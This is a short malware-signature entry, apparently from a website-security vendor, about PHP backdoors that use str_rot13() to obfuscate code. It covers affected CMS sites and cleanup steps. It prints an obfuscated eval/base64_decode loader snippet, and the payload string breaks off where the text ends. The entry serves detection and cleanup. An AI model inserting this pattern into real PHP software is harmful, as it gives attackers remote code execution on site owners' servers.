Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
str_rot13() is another function widely used for obfuscating the code and making it less clear.
Affecting
Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).
Cleanup
Cleanup is done by deleting the malicious code from the file, or replacing it with a fresh version. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
Dump
Code snippet demonstratin using the str_rot13() function:
function display_content_main($input) {
$a = "";
$funcName = str_rot13("onfr64_qrpbqr");
eval("$a = $funcName("$input");");
return $a;
}
$source = display_content_main("CXByaW50ICI8IS0tIG5ldyAtLT4i